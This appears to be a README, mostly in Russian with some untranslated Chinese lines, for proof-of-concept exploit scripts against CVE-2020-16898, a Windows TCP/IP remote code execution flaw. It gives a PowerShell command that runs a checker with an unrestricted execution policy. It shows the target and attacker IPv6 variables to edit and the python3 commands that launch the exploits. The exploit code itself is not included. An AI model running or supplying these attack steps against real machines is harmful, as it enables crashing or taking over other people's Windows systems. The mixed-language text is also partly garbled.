
Эксплойт proof-of-concept для CVE-2020-16898, уязвимости удалённого выполнения кода в Windows TCP/IP. Включает скрипты эксплойта на Python, нацеленные на IPv6-адреса, для тестирования на проникновение.
CVE-2020-16898 Уязвимость удаленного выполнения кода в Windows TCP/IP EXP&POC
forforever:https://www.cnblogs.com/forforever/p/13846077.html
CVE-2020-16898_Checker-poc
Команда:
Запустите PowerShell/CMD от имени администратора
Powershell.exe -ExecutionPolicy UnRestricted -File .\CVE-2020-16898-poc.ps1
cve-2020-16898-exp2
Условия: возможность связи с целью, знание локального IPv6-адреса цели (link-local)
Использование
修改代码中的dst参数为目标的本地链接IPv6地址
然后攻击机执行
python3 CVE-2020-16898.py即可


CVE-2020-16898-exp1.py
Требуется IPv6-адрес цели или временный IPv6-адрес, а также ваш собственный локальный IPv6-адрес
v6_dst = "fd15:4ba5:5a2b:1008:109f:9a46:8d19:f103" #修改为目标机的ipv6地址 或者 临时ipv6地址
v6_src = "fe80::501a:49b7:b7d:5362%12" #攻击者的本地ipv6地址
Однако во время тестирования было обнаружено, что можно также указать локальный IPv6-адрес цели; неизвестно, связано ли это с локальным тестированием или можно подделать исходный IPv6-адрес.
После внесения изменений просто выполните
python3 CVE-2020-16898-exp1.py